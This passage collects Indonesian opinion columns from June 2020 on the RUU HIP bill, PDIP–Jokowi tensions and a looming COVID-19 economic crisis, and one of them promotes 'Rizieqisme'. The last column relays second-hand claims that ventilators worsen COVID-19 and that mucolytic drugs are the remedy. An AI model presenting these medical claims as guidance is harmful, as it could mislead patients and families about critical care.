pemerintah yang selama ini dianggap merugikan kepentingan rakyat? Apakah RUU HIP ini dijadikan sebagai trigger untuk menggerakkan umat Islam memprotes UU KPK, UU Minerba, UU Covid-19, RUU Omnibus Law dan yang lainnya. Apakah akan mengajak dan menggerakkan rakyat, khususnya umat untuk menekan pemerintah dan DPR agar semua undang-undang dan kebijakan yang nggak pro rakyat, dan hanya menguntungkan korporasi licik dan tamak dirubah? Atau ada target lain yang lebih dari itu? Mari kita tunggu apa yang akan terjadi. Apakah protes terhadap RUU HIP akan meredup setelah dinyatakan "ditunda" oleh pemerintah, dan "dihentikan sementara" oleh MPR? Atau justru sebaliknya, penundaan ini akan menaikkan eskalasi protes di kalangan umat Islam? Yang tak kalah pentingnya, umat harus mewaspadai pihak-pihak yang berpotensi masuk angin. Karena hidangan di atas meja negosiasi, jika ada, pasti akan jauh lebih menarik. Juga sangat menjanjikan dan menggiurkan. Penulis Pengamat Politik dan Pemerhati Bangsa

Keruntuhan Bangsa, Haluan Pancasila Megawati dan Rizieqisme

Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Lonceng kematian bangsa kita hampir tiba. Jokowi sudah menyerukan semua menterinya mencari jalan menyelamatkan bangsa Indonesia. Wakil Menteri Pertahanan, kemarin, telah mengumumkan ketahanan pangan bangsa ini hanya dua bulanan. Menteri kesehatan kita telah gagal melakukan "flattening the curve" kurva coronavirus. Yang lebih konyol lagi Sri Mulyani telah terlihat gagal memprediksi kebutuhan stimulus fiskal untuk mengatasi dampak covid-19 ini. Memang benar pernyataan Jokowi bahwa krisis ekonomi yang diakibatkan pandemi ini lebih buruk dari krisis moneter 1998. Kenapa lebih buruk? 1) dampak covid-19 terjadi pada sisi supply dan demand. Pada tahun 1998, supply side masih besar, khususnya sektor pedesaan, sektor informal dan UMKM. Dengan menggelontorkan dana KUT (Kredit Usaha Tani) dan berbagi kredit mikro lainnya, sektor pedesaan dan informal mampu menopang ekonomi nasional. Konstraksi ekonomi sekitar -16% dapat dipulihkan dalam satu tahun dan pemulihan total terjadi selama 5 tahun. Saat ini, sisi supply hancur karena pandemi mengharuskan manusia berhenti bekerja ("social distancing") alias produksi terhenti dan "supply-chain" berantakan. Pada sisi demand (permintaan), pasar (market) juga hancur berantakan. Manusia diam di rumah, pusat2 perbelanjaan sepi. Dan daya beli rakyat terkuras. Air France, penerbangan milik Prancis yang bangkrut, misalnya, akan ditalangi 10 milyar dollar oleh negaranya. Namun, apa arti talangan itu jika mobilitas manusia terhenti? Apalah artinya subsidi/stimulus Jokowi pada sektor parawisata kalau turis masih belum mau datang? 2) "Cash is the King". Situasi pandemik ini membuat, misalnya Gubernur New York, Cuomo, bulan lalu, marah pada Trump, karena dana stumulis yang dijanjikan belum juga cair. Masih menunggu persetujuan DPR Amerika. Anies Baswedan, di Jakarta, marah pada Sri Mulyani, karena dana tagihan DKI ke rezim Jokowi, untuk diberkan bansos pada 1,1 juta orang (dari 3,75 juta jiwa) di Jakarta belum diberikan Menkeu, alasannya harus menunggu verifikasi BPK. Cash is the King alias uang adalah raja. Setiap negara mmamerkan angka2. Amerika memamerkan akan mencetak uang 3 Triliun Dollar alias mendekati 45.000 Triliun Rupiah. China mengumumkan akan utang 4,7 Triliyun Yuan (3,7 T Infrastructuur Bond dan 1 T pandemic Bond). Alias mendekati 10.000 Triliun Rupiah. German juga pamerkan kebutuhan 1,3 Triliun Euro (Rp. 21.000 Triliun), Italy keluarkan stimulus 750 Milyar Euro, Inggris (Bank of England) gelontorkan 1 Triliun dollar. Angka2 uang ini bisa ada bisa juga proyeksi. Tidak gampang bagi RRC, misalnya, cari hutang ketika semua negara dunia ingin berhutang. IMF yang diundang Kadin Amerika ceramah beberapa hari lalu, tidak menjanjikan uang pada pengusaha2 Amerika itu. Malah dirut IMF, Kristalina Georgieva, besar dinegara Komunis Bulgaria, mengajarkan pengusaha2 Amerika untuk mengetahui sedang terjadi Great Transformation (digital economy, pro green economy dan fairer society). Jangan berharap IMF kasih Indonesia pinjaman 50 Milyar dollar seperti 98. Sampai sejauh ini, IMF sudah menyetujui pinjaman ke 60an negara, rata2 kebagian 0,35 Milyar dollar saja, sangat kecil sekali. Cash is the King. Indonesia juga jangan berharap bisa dapat pinjaman dari China, Jepang, Amerika dll. Semua butuh uang bagi negaranya. Sehingga angka2 defisit bisa saja diajukan Sri Mulyani 1039 Triliun atau 10.000 Triliun sekaligus (Ingat tahun 2008 Sri Mulyani meleset prediksi talangan bank Century dari rp. 600 milyar menjadi rp 6,7 triliun alias 10 kali lipat), tapi uang dari mana? Apakah akan ada kelebihan liquiditas di negara2 maju akibat stimulus di sana, lalu mereka beli SBN (Surat Berharga Negara) di sini?Jangan terlalu berharap. Kebanyakan "greedy traders" yang akan masuk dan keluar stock market maupun bond market saat ini. Sedangkan Bank Central kita sendiri, sejauh ini, sudah tertatih2 habis 600 an Triliun menjaga stabilitas makro ekonomi. Lalu, apakah negara berani menolak stimulus pada orang2 kaya dan menaikkan pajak pada orang2 kaya itu agar ada tambahan pemasukan APBN? Bukankah mayoritas elit negara saat ini adalah orang2 kaya itu? Cash is the King. Sebentar lagi negara akan dihantui berbagai kesulitan menjalankan roda pemerintahan. Dimulai, misalnya, walikota Solo mengumumkan tidak mampu bayar listrik, beberapa saat lalu. Ke depan, jangan berharap banyak ada bansos, subsidi kartu-Prakerja, dll. Yang jelas harga2 barang, BBM, Gas, Listrik dll yang akan menjulang tinggi. 3) Nyaris Perang Dunia. Saat ini nyaris perang dunia. Beda dengan krisis '98. Trump memecat penasehatnya John Bolton beberapa waktu lalu, karena Bolton hobby perang. Namun, perang dagang dan berbagai ketegangan antara Amerika dan sekutunya versus RRC sudah mulai. Tiga hal di atas adalah faktor eksternal terkait dampak pandemi. Namun faktor internal kita lebih berat lagi, yakni 1) hutang negara/BUMN yang menggunung. 2) Ekonomi tidak efisien alias rente. 3) Deindustrialisasi, 4) Korupsi merajalela. 5) Struktur ekonomi pincang, kemiskinan dan pengangguran menggunung. Sejak lama berbagai lembaga internasional menempatkan kita dalam kelompok negara "fragile five", yang terjebak hutang besar. Bos IMF mengatakan faktor bawaan sebelum Covid-19 sangat menentukan kerapuhan sebuah negara saat ini. Sampai kapan kita bertahan? Pancasila Gotong Royong atau Rizieqisme? Dalam masa pandemi ini kelompok2 sekular di Indonesia menawarkan "Pancasila Gotong Royong" via RUU HIP, yakni ajaran Pancasila yang bisa diperas menjadi sebuah sila, yakni Gotong Royong untuk menjadi haluan bagi keselamatan bangsa. Ketuhanan dalam pandangan Megawati Soekarnoputri, pengusul RUU HIP, adalah ketuhanan yang berkebudayaan. Pandangan Megawati ini menempatkan ketuhanan dalam perspektif Anthropocentric, di mana tuhan merupakan hasil reproduksi peradaban manusia. Pancasila Gotong Royong adalah ajaran Bung Karno. Dalam masanya ajaran ini adalah ajaran baik. Ajaran ini merupakan turunan dari pikiran Marxisme, sama rata sama rasa. Artinya semua manusia punya hak kepemilikan yang sama, yakni membatasi "property rights" secara rata. Ajaran Marxism adalah ajaran barat yang berpusat pada manusia dan materialisme. Kesejahteraan dan keadilan semua diletakkan dalam perspektif logika manusia. Ketuhanan yang berkebudayaan, menurut Megawati dan Sukarno adalah ketuhanan yang ada di bumi, bukan ketuhanan yang menyangkut dunia-akherat. Gotong Royong ala Bung Karno tentu bersifat ideologis. Di jaman Bung Karno sudah pasti tidak mungkin ada perusahaan kelapa sawit, misalnya, menguasai lahan jutaan hektar, seperti saat ini. Ajaran Bung Karno adalah sebuah gerakan sosialisme-nasionalisme yang menolak supremacy barat dan Kapitalisme di Indonesia. Mohammad Hatta, disisi lain, yang menawarkan konsep Koperasi, lebih ke arah sosialisme welfarian ala Skandinavia, yang jejak keadilannya masih nyata sampai saat ini, ketimbang negara2 sosialis Komunis rujukan Sukarno (seperti Sovyet/Rusia, RRC, dll) itu. Sebagai sosok, Bung Karno tidak membutuhkan UU HIP, karena dia adalah inspirasi ideologi itu sendiri. Sebaliknya, Megawati dan kaum sekuler, membutuhkan ideologi dalam UU, karena mereka sendiri sulit diukur apakah punya jejak Gotong Royong dalam kehidupannya. Bahkan, ketika berkuasa seperti saat ini. Dalam masa pandemik ini refleksi kita adalah peradaban yang bertumpu pada Anthropocentric telah gagal. Manusia harus meletakkan dirinya dalam bagian alam dan Tuhan YME. Manusia hidup di antara pohon-pohon, sungai, air, udara, binatang, bahkan mikroba serta virus sepanjang hidupnya. Hal itu harus membuat manusia meletakkan peradaban baru yang menjaga keseimbangan alam dan kehidupan. Gotong Royong adalah ide yang baik. Tapi gotong royong harus dilandasi nilai dan moral yang jelas. Gotong Royong dalam ambisi manusia menaklukkan alam, misalnya, akan membuat degradasi alam, hutan, tambang dll, terjadi juga seperti saat ini. Gotong Royong dalam keseimbangan Allah dan akam akan menawarkan value dan moral yang berbeda. Ajaran Tuhan tentang Gotong Royong, dalam Islam misalnya, membatasi ambisi pada batas "need" bukan "want". Kebutuhan (need) mencegah perbuatan mungkar kita terhadap alam, air dan udara. Juga memberi pesan kecintaan pada generasi mendatang, dengan menyisakan deposit sumberdaya alam bagi kehidupan mereka di masa nanti. Dengan prinsip Ketuhan YME di atas segala2nya, kita menempatkan spirit kemanusian kita pada kontrol transedental. Sedang ketuhanan berkebudayaan membuat kontrol pada konsensus manusia, yang bersifat fana. Gotong Royong dalam sipirit Ketuhanan YME juga akan menggerakkan manusia melebihi kemampuan materialnya. Sebuah aksi produktif yang tidak pernah habis. Dan ini pula yang dibutuhkan untuk menyelamatkan manusia di masa pandemik. Berlawanan dengan Gotong Royong ala Megawati atau RUU HIP adalah Gotong Royong dalam versi Rizieqisme. Pada tulisan saya sebelumnya, "Rizieqisme, 212, Sama Rata Sama Rasa" (2018) dan "Rizieqisme dan Paska Pilpres" (2019), saya telah menguraikan 5 prinsip dasar Rizieqisme yang tergambar dari gerakan Imam Besar Habieb Rizieq Sihab selama ini, yakni : 1) perjuangan Islam adalah perjuangan keadilan sosial. 2) perjuangan harus diakar rumput. 3) Islam sebagai alat persatuan. 4) Radikal atau tidak mengenal kompromi. 5) Tanggung jawab sosial alias solidaritas. Dari prinsip ini kita ketahui bahwa prinsip sama rata sama rasa, dan gotong royong ala Habib Rizieq adalah turunan dari Ketuhanan Yang Maha Esa. Gerakan keadilan dan sekaligus cita cita keadilan bukan ditentukan dalam anthropcena melainkan diturunkan dari Wahyu Allah. Jika Bung Karno dan Megawati, anaknya, bertumpu pada kemanusian versi manusia, sebagai acuan Gotong Royong, maka Habib Rizieq Sihab dalam Rizieqisme menawarkan tumpuan pada kemanusian ciptaan Allah. Dalam masa pandemi ini, kemanusian yang bersifat materialistik, tanpa ruh, akan gagal memetakan ancaman kemanusian akibat coronavirus. Gotong Royong ala Bung Karno telah menyelamatkan bangsa di masa lalu. Namun, tantangan bangsa saat ini membutuhkan Gotong Royong yang dahsyat, yang bertumpu pada spirit Ketuhanan YME. Penutup Lonceng kematian bangsa kita semakin dekat. Kebahagian ekonomi yang diklaim pemerintah dengan pertumbuhan kuartal pertama, bersifat "trade-off" dengan kesengsaraan ke depan yang bersifat kesehatan, ekonomi dan bahkan peradaban. Sri Mulyani, yang gagal memprediksi stimulus Century di masa lalu, menjadi supir penyembuhan ekonomi saat ini. Hal ini, "menggunakan supir gagal" cukup mengerikan. Menteri kesehatan yang gagal memprediksi situasi pandemik sejak awal juga suatu bencana kematian ke depan. Wamen Kemenhan yang membuka rahasia ketahanan pangan hanya dua bulanan, sangat menakutkan. Berbagai keburukan situasi ekonomi dan politik juga akan mempercepat keterpurukan bangsa. Di sisi lain, bangsa2 di dunia lainnya sibuk mengurusi rakyatnya sendiri, jauh harapan membantu kita. Dalam situasi buruk ini, kelaparan dan kemiskinan akan menjadi "catastrophic", alias bencana. 100 an juta rakyat miskin dan 20 jutanya sudah dilaporkan ADB (Asean Development Bank), 2018, kelaparan saat sebelum pandemik, tidak akan mungki diurus negara, khususnya jika haluan negara tidak tepat. Tawaran Megawati untuk menggunakan Haluan "Pancasila Gotong Royong" ditolak berbagai kalangan Islam. Hal ini mungkin lebih disebabkan susah mencari jejak Megawati dalam perjuangan ideologis Gotong Royong itu. Berbeda dengan Bung Karno, yang memang dalam diri dan jiwanya ada Gotong Royong itu. Namun, rakyat dalam keputusasaan tentu sangat butuh haluan itu. Rakyat butuh bangkit dari keterpurukan. Rakyat butuh selamat dari pengangguran, kemiskinan dan kelaparan. Lalu haluan apa yang dibutuhkan? Untuk itu perlu melihat tawaran Rizieqisme sebagai alternatif ideologi, di mana Gotong Royong didasari spirit Ketuhanan YME. Tuhan di atas manusia, bukan tuhan yang diciptakan manusia. Rizieqisme akan mampu membuat Indonesia bangkit dengan peradabam baru. Sebuab keseimbangan antara manusia, alam dan Tuhan YME. Manusia yang mengelola bumi dengan keadilan sesama dan antar generasi. Manusia yang adil pada pepohonan, binatang, mikroba dan bahkan virus. Serta, manusia yang memohon pada Tuhannya untuk menjadi kalifah di muka bumi dengan bijak. Penulis Direktur Sabang Merauke Institute

RUU HIP, PDIP-Jokowi Pecah Kongsi?

Oleh Hersubeno Arief Jakarta, FNN - Tak ada angin tak ada hujan, PDIP tiba-tiba menyatakan menolak usulan pemerintah Amerika Serikat (AS) memindahkan ibukota Palestina ke Abu Dis. “PDIP tidak setuju dengan usulan tersebut karena justru hadir sebagai bentuk ketidakadilan baru,” ujar Sekjen PDIP Hasto Kristiyanto dalam rilis yang disebar ke media Kamis (18/6). Sikap partai, lanjut Hasto, konsisten dengan apa yang diperjuangkan Bung Karno memperjuangkan kemerdekaan Palestina. Sesuai spirit Dasa Sila Bandung. Pernyataan Hasto yang terkesan ujug-ujug, sekonyong-konyong itu tentu membuat kita sejenak bingung. Ada apa ini? Bukankah isu pemindahan ibukota Palestina ke Abu Dis —sebuah desa dekat Yerusalem Timur ini — merupakan isu yang sudah cukup lama? Usulan itu muncul bersamaan dengan keputusan Israel memindahkan ibukotanya dari Tel Aviv ke Yerusalem. Dari tracking media, Presiden Jokowi pada tanggal 17 Desember 2017 sudah menyerukan agar negara-negara anggota organisasi konferensi Islam (OKI) menolak dan mengecam keputusan Presiden Trump mengakui Yerusalem sebagai ibukota Israel. Jadi isu itu sudah heboh lebih dari dua tahun lalu. Yang menjadi isu utama pemindahan ibukota Israel. Bukan usulan Abu Dis menjadi ibukota masa depan Palestina. Abu Dis hanya isu kembangan. Mengalihkan tuntutan rakyat Palestina bahwa Yerusalem adalah ibukota sah Palestina. Ya semacam gula-gula dari AS dan sekutunya, termasuk Arab Saudi, bagi rakyat Palestina. Dari sisi media, rilis Hasto itu sesungguhnya tidak layak berita. Karena tidak aktual. Dari teknis media tidak ada newspeg nya. Tidak ada cantolan berita. Bahasa mudahnya, ya masuk kategori berita yang ujug-ujug tadi. Kalau mau aktual, harusnya PDIP memilih isu keputusan Donald Trump memberlakukan UU Hak Asasi Manusia Etnis Uighur. UU itu baru disetujui Trump pada tanggal 7 Juni 2020. Itu baru keren. Baru gagah. Pasti liputannya lumayan besar, dan akan mendapat banyak dukungan. Melalui UU itu pemerintah AS diberikan kewenangan untuk mendeteksi pejabat China yang bertanggung jawab atas "penahanan paksa, penyiksaan, dan kekerasan" terhadap kaum Uighur dan minoritas lainnya. Kelihatannya berita yang muncul sekonyong-konyong itu erat kaitannya dengan kontroversi RUU Haluan Idiologi Pancasila (HIP). RUU usulan PDIP itu sekarang ini ditolak oleh warga sak-Indonesia. Termasuk Presiden Jokowi! Isu Palestina dipilih, walau tidak aktual tapi relatif lebih aman. Keuntungan lain bisa dikait-kaitkan dengan Bung Karno yang rumusan Pancasilanya coba dimasukkan kembali dalam RUU HIP. Sementara isu Uighur, walau aktual jelas langsung menyinggung Cina. Bohir yang sedang membiayai berbagai infrastruktur di Indonesia. Banyak kepentingan politik di negara tirai bambu itu. Juga kepentingan oligarki yang didominasi para taipan. Tujuan dan target politik yang ingin dicapai sudah bisa diduga. Tidak terlalu sulit membacanya. Pertama, PDIP ingin mengajuk hati rakyat, khususnya umat Islam. PDIP bukan musuh umat Islam. Justru mendukung sepenuhnya sikap umat Islam dan para pegiat HAM. Sikap AS harus dikecam. Harus dilawan. Jadi musuh bersama. Kedua, memulihkan kerusakan politik yang sudah terjadi.Tidak benar bahwa PDIP anti agama. Tidak benar PDIP mendukung kebangkitan kembali Partai Komunis Indonesia (PKI). Beberapa hari sebelumnya Ahad (14/6) Hasto juga membuat rilis. PDIP setuju mencantumkan TAP MPRS No XXV tahun 1966 Tentang Larangan PKI, dan menghapus pasal yang memeras Pancasila menjadi Trisila dan Ekasila. Hanya saja PDIP masih mencoba menawar. Partainya, kata Hasto, menyetujui penambahan klausul larangan terhadap ideologi yang bertentangan dengan Pancasila seperti marxisme- komunisme, kapitalisme-liberalisme, radikalisme serta bentuk khilafahisme. Coba perhatikan frasa kata radikalisme dan khilafahisme. Frasa itu dimasukkan berbarengan dan sejajar dengan marxisme-komunisme. Selama ini umat Islam merasa radikalisme-khilafahisme merupakan frasa yang digunakan pemerintah dan khususnya PDIP untuk memojokkan. Membuat umat Islam seakan-akan anti Pancasila. Pasti banyak yang belum lupa ketika memperingati Pekan Pancasila bersamaan dengan peringatan hari lahirnya Pancasila 1 Juni 2017 muncul slogan “Saya Pancasila, Saya Indonesia.” Slogan ini diperkenalkan oleh Presiden Indonesia Joko Widodo dalam status di akun Instagram-nya pada 26 Mei 2017. Tagar #SayaPancasilaSayaIndonesia bergema dimana-mana. Kampanye ini dirancang oleh Badan Ekonomi Kreatif. Sekarang yang terjadi malah terbalik. Melalui RUU HIP justru PDIP yang mendegradasi Pancasila. Dari sumber segala sumber hukum, diturunkan derajatnya hanya sekelas UU. Ikut buang badan Kontroversi RUU HIP ini benar-benar membuat PDIP babak belur. Dalam Bahasa Rocky Gerung “Banteng sedang kejeblos gorong-gorong.” Bukan hanya parpol pendukung pemerintah yang balik badan menarik dukungan. Pemerintah melalui Menkopolhukam Mahfud MD mengembalikan RUU itu ke DPR. Presiden Jokowi malah melangkah lebih jauh. Dia bertindak cepat, bertemu sejumlah senior purnawirawan TNI di Istana Bogor, Jumat (19/6). Para purnawiran TNI-Polri dipimpin mantan Wapres Try Sutrisno menolak RUU HIP. Tidak dicantumkannya TAP MPRS tentang larangan PKI membuat tanduk para senior TNI langsung berdiri. PDIP dinilai sudah nekad menabrak The biggest taboo. Isu PKI ini benar-benar tidak boleh dilanggar. Kepada para purnawirawan, Jokowi menegaskan "Ini (RUU HIP) 100 persen adalah inisiatif dari DPR, jadi pemerintah tidak ikut campur sama sekali," ujarnya dikutip dari rilis Biro Pers, Media dan Informasi Sekretariat Presiden. Pemerintah juga dengan tegas menutup pintu terhadap komunisme. “Pemerintah tidak pernah ragu,” tegasnya. Langkah politik dan pernyataan Jokowi ini merupakan pukulan telak dan beruntun bagi PDIP. Kalau melihat gaya politik Jokowi, ada kemungkinan Jokowi juga akan segera bertemu dengan Ormas-ormas keagamaan dan elemen penting penentang RUU HIP. Meredam gejolak, dan --meminjam istilah anggota DPR dari PDIP Aria Bima-- buang badan. Banteng moncong putih itu benar-benar ditinggalkan sendirian oleh sekutunya. Yang lebih menyedihkan kini “Petugas Partai” yang ditempatkannya sebagai presiden juga memilih posisi berseberangan. Inilah untuk pertamakalinya Jokowi menyatakan secara terbuka menentang sikap dan pilihan politik PDIP. Sebaliknya PDIP tampaknya juga sudah tampaknya mulai gerah dengan Jokowi. Bila kita cermati dari empat poin rilis Hasto soal Palestina, detil-detil poinnya merupakan sindiran halus kepada Presiden Jokowi. Hasto menggunakan pintu masuk isu Palestina untuk megembalikan ingatan publik saat Indonesia dipimpin oleh Presiden Soekarno dan kaitannya dengan Pancasila. Saat itu Indonesia dengan semangat politik yang bebas aktif, berperan besar dalam berbagai gerakan menentang imperialisme dan mewujudkan perdamaian dunia. Saat dunia mengalami krisis, muncul ketegangan di berbagai belahan dunia, maka seharusnya Indonesia mengambil peran. Sebuah peran yang pernah dimainkan oleh Bung Karno. Sayangnya dalam penilaian Hasto, saat ini energi bangsa lebih banyak terkuras ke dalam. Penuh hiruk pikuk siapa dapat apa. Semangat outward looking sebagaimana pernah digelorakan dan diperankan Bung Karno harus dikembalikan. Indonesia harus kembali mengambil tanggung jawab tersebut. “Sebab di tengah berbagai sikap dan tindakan elite yang terlalu melihat ke dalam, energi bangsa terkuras dan melupakan tanggung jawab Indonesia bagi dunia,” tegas Hasto. Kritik atau tepatnya otokritik Hasto sangat pas menggambarkan posisi Indonesia di bawah Jokowi. Situasi politik dalam negeri hiruk pikuk dengan isu-isu yang memecah belah bangsa. Contoh terbaru adalah kontroversi RUU HIP. Peran Indonesia dalam kancah internasional benar-benar mundur ke belakang. Boro-boro menjadi pemimpin dunia. Presiden Jokowi bahkan tercatat lima kali berturut-turut tidak hadir dalam Sidang Majelis Umum Dewan Keamanan PBB. Apakah krisis politik akibat RUU HIP ini akan menjadi langkah awal yang nyata pecah kongsi PDIP-Jokowi? End Penulis Wartawan Senior

PDIP Tidak Bisa Lagi Dipercaya Dalam Urusan Pancasila

By Asyari Usman Jakarta, FNN - Drama RUU Haluan Ideologi Pancasila (HIP) sedang ‘pose’ (pause). Pembahasannya ditunda. Tapi, semua komponen besar umat Islam menuntut agar RUU itu dibatalkan. Tuntutan pembatalan ini kelihatannya akan digaungkan terus. Sampai RUU itu dicabut. Agar RUU yang sangat berbahaya itu tidak lagi mengganggu ketenteraman publik. Ada pelajaran besar dari drama RUU HIP. Pelajaran itu ialah bahwa PDIP, mulai sekarang, tidak bisa lagi dipercaya dalam urusan Pancasila. Partai Banteng tidak bisa dipercaya lagi sebagai tempat untuk menitipkan Pancasila. Meskipun mereka akhirnya memasukkan Tap MPRS Nomor XXV/MPRS/1966 tentang larangan komunisme-PKI sebagai konsideran RUU, dan kemudian menggugurkan Pasal 7 tentang pemerasan (ekstraksi) Pancasila menjadi Trisila dan Ekasila, tetap saja PDIP tidak bisa dipercaya sampai kapan pun. Mereka akan berusaha terus mengutak-atik dasar negara ini. Pancasila tidak akan aman di tangan PDIP. Khususnya sila Ketuhanan Yang Maha Esa (KYME). Melalui konsep Trisila yang digagas oleh elit Partai Banteng, KYME dilecehkan menjadi “ketuhanan yang berkebudayaan” (KYB). Bisa ditebak arah KYB. Yaitu, secara perlahan akan melenyapkan total dasar ketuhanan dalam kehidupan umat. Umat Islam mencatat ini. Semua sudah terang benderang. Dilihat dari pemikiran mereka untuk memeras lima sila menjadi tiga dan seterusnya menjadi satu, tak diragukan lagi PDIP sedang membidik sila ketuhanan. Mereka, tampaknya, ingin sekali menghapus KYME. Ada indikasi bahwa PDIP gerah dengan sila pertama itu. Para politisi senior Banteng mengatakan inisiatif Trisila dan Ekasila di RUU HIP bukan datang dari mereka. Begitu juga soal peniadaan Tap MPRS larangan komunisme-PKI di deretan konsideran RUU. PDIP merasa terfitnah. Tapi, semua orang bisa menelusuri kronologi RUU ‘toxic’ itu. Tim koran ‘Republika’ yang melakukan investigasi menemukan bahwa PDIP adalah pihak yang mengusulkan RUU HIP di Badan Legislasi (Baleg) DPRRI. Wakil Ketua Baleg, Rieke Diah Pitaloka dari PDIP, ditunjuk menjadi ketua panitia kerja (panja) RUU tersebut. Entah dengan alasan apa, parpol-parpol lain mendukung pembahasan RUU ini. Kecuali PKS dan Partai Demokrat. Hanya PKS yang menolak dengan alasan yang sangat mendasar. Sedangkan Demokrat menolak dengan alasan bahwa tidak baik membahas RUU krusial di tengah wabah Covid-19. Dalam 3-4 hari ini, PDIP mengaktifkan mesin bantahan. Tetapi, seluruh rakyat sudah tahu apa yang mereka lakukan. Banteng saat ini sedang sibuk meyakinkan umat Islam bahwa mereka adalah partai yang ramah Islam (Islam friendly). Tiba-tiba saja, dua hari lalu (18/6/2020) PDIP mengeluarkan ‘press release’ yang berisi tentangan terhadap upaya Amerika untuk memindahkan ibukota Palestina dari Yerusalem ke Abu Dis. Sekjen PDIP Hasto Kristianto mengajak semua elemen bangsa bersatu melawan pemindahan ibukota Palestina itu. Tak lupa, Hasto menyebutkan bahwa perjuangan Palestina untuk merdeka selalu ada dalam pikiran Bung Karno. Memang apa saja tentang Palestina pastilah selalu membangkitkan sentimen umat Islam di sini. Hasto memanfaatkan soal ibukota itu untuk mendinginkan isu Trisila dan Ekasila. Dia mengatakan energi bangsa banyak terkuras ke urusan domestik. Sekarang saatnya ‘ouward looking’ alias ‘mengurus dunia’, kata Hasto. Serius mau mengurus dunia? Dan, apa iya sangat urgen untuk ‘ouward looking’ pada saat dan situasi seperti sekarang ini? Boleh-boleh saja. Tapi, Trisila dan Ekasila plus penyingkiran Tap MPRS larangan komunis-PKI di RUU HIP tak akan pernah terlupakan. Rakyat sulit memulihkan kepercayaan kepada PDIP.[] 20 Juni 2020(Penulis Wartawan Senior senior)

Meski Bisa Sembuh, Covid-19 Tetap Jadi "Histeria"

Oleh Mochamad Toha Jakarta, FNN - Mengapa sampai terjadi kasus keluarga pasien korban Virus Corona atau Covid-19 membawa lari jasad yang meninggal? Semua itu terjadi karena mereka tidak percaya kalau korban sudah terinfeksi Covid-19, apalagi hasil swabnya belum keluar. Mereka juga tidak tahu dan mengerti soal virus atau bakteri yang sedang mewabah di negara kita sekarang ini. Yang mereka tahu hanya, ada orang meninggal dibungkus plastik dikawal paramedis yang berpakaian “antivirus” Alat Pelindung Diri. Tidak ada yang boleh mendekat, apalagi sampai memegang jenazahnya. Karena mereka bisa tertular. Sehingga nantinya bisa dikarantina mandiri atau malah masuk RS rujukan Covid-10. Jadi, mereka ini awam, tidak mengerti bahaya Covid-19 itu. Apalagi, sampai sejauh ini tidak ada korban Covid-19 di Indonesia yang diotopsi jenazahnya, seperti yang dilakukan di China dan Italia. Sehingga bisa diketahui dengan jelas organ tubuh apa yang diserang Covid-19 sampai menyebabkan kematian. Melansir Detik.com, Senin (02 Mar 2020 17:23 WIB), seorang profesor kedokteran hukum di Tongji Medical College di Wuhan, Liu Liang, mengungkapkan ada beberapa temuan. Yakni, beberapa temuan selama membedah pasien terinfeksi Virus Corona. Prof. Liu Liang telah memimpin operasi bedah terhadap sembilan (9) jenazah pasien dari 12 yang dioperasi ilmuwan China. Profesor Liu Liang membedah dengan hati-hati tubuh pasien corona yang baru meninggal. Tanpa otopsi, pihaknya tak akan pernah tahu kebenaran yang mengejutkan. Dalam “Laporan Pengamatan Umum Anatomi Korban Meninggal karena Pneumoonia virus Corona” Journal of Forensic Medicine ini ditulis, ada cairan kental abu-abu di paru-paru jasad, lendir putih berbusa di rongga trakea dan bronkial paru-paru. Lendir yang seperti jelly itu melekat kuat. Cairan kental inilah yang menghalangi alveoli (kantung udara), memblokir saluran udara, memblokir paru-paru interstitial, memblokir tabung bronkial, secara bertahap membiarkan paru-paru kehilangan fungsi ventilasi; Membuat pasien dalam keadaan hipoksia, dan akhirnya mati karena gagal bernafas. Cairan kental ini merenggut nyawa pasien Corona dan membuat mereka menderita pada saat-saat terakhir kehidupan mereka. Ketakutan mereka mencapai ekstrem. Mereka berjuang seperti tenggelam di dalam sumur, berteriak “tolong”. Mereka dipenuhi dengan keputus-asaan dan rasa sakit. Mereka terengah-engah, bahkan jika mereka memakai masker oksigen dan ventilator, mereka juga tidak bisa menghirup oksigen. Mengapa mereka tidak bisa menghirup oksigen dengan dukungan ventilator? Karena cairan kental itu menghalangi jalur oksigen. Jalannya tidak bisa dilewati. Sejumlah besar oksigen dihirup, tapi penyumbatannya tambah meningkat. Oksigen tidak dapat disalurkan ke dalam darah, dan akhirnya mereka tercekik oleh cairan kental ini. Oleh karena itu, Profesor Liu Liang menunjukkan bahwa penggunaan alat ventilator oksigen secara buta tidak hanya gagal untuk mencapai tujuan tetapi bahkan mungkin menjadi kontra-produktif. Tekanan oksigen akan mendorong lendir lebih dalam ke ujung paru-paru, sehingga semakin memperparah keadaan hipoksia pasien. Dengan kata lain bahwa pengobatan Barat hanya melihat hipoksia pasien, tapi tidak melihat penyebab di balik hipoksia pasien. Cairan kental ini disebut dahak, harus ditangani sebelum memberikan oksigen, jika tidak, berapapun banyaknya oksigen disalurkan juga akan sia-sia. Kita hanya perlu membuka saluran udara ini dengan menghilangkan dahak, menghilangkan kelembaban, membiarkan alveoli mengering, dan membiarkan bronkus halus lancar dan tidak terhalang, dengan demikian tidak diperlukan ventilator oksigen sama sekali; Pasien akan pulihkan fungsi paru-paru sendiri, dan dia akan menghirup oksigen dari udara. Mengutip Dr. Aji Soso Santoso, Adventist Medical Center Manila, yang sudah membaca berita mengenai penelitian Prof Liu Liang seperti komen yang disampaikan Prof Hendrajit. Temuan ini diperkuat oleh Dr. Luciano Gattinoni dari Universitas Kedokteran di Gottingen, Jerman, dalam laporannya mengenai penanganan pasien corona yang menderita gagal nafas di Italia Utara di American Journal of Respiratory and Critical Care Medicine, Maret lalu. “Dr. Gattinoti menganjurkan untuk meninjau pendekatan yang berbeda untuk pasien corona yang kritis. Kemudian Dr. Nathalie Stevenson dan Prof. Gary Mills dari NHF Foundation, Inggris memberikan pandangannya,” tulis Dokter Aji Soso Santoso. Bahwa corona merupakan penyakit baru dan membutuhkan penanganan yang berbeda dari gagal nafas biasa. Hal ini dicatat dalam interview oleh Medscape UK. Menurutnya, untuk mencairkan dahak atau mucus dari paru-paru, pasien harus diberi minum obat mukolitik atau pencair dahak seperti ambroxol, mucohexin, erdosteine atau n-acetyl cysteine (yang terkuat). Bila tidak bisa minum, harus dialirkan lewat selang. “Tanpa bantuan mukolitik, dahak kental yang memenuhi bronkus itu tidak akan bisa keluar. Dengan bantuan obat di atas, dahak akan menjadi encer dan dapat dikeluarkan lewat batuk atau suction pump low pressure,” ungkap Dokter Aji Soso Santoso. Lalu bagaimana kalaupun sudah diberikan mukolitik dan sudah dilakukan suction tapi dahak tetap tidak mau keluar? Menurut Prof. 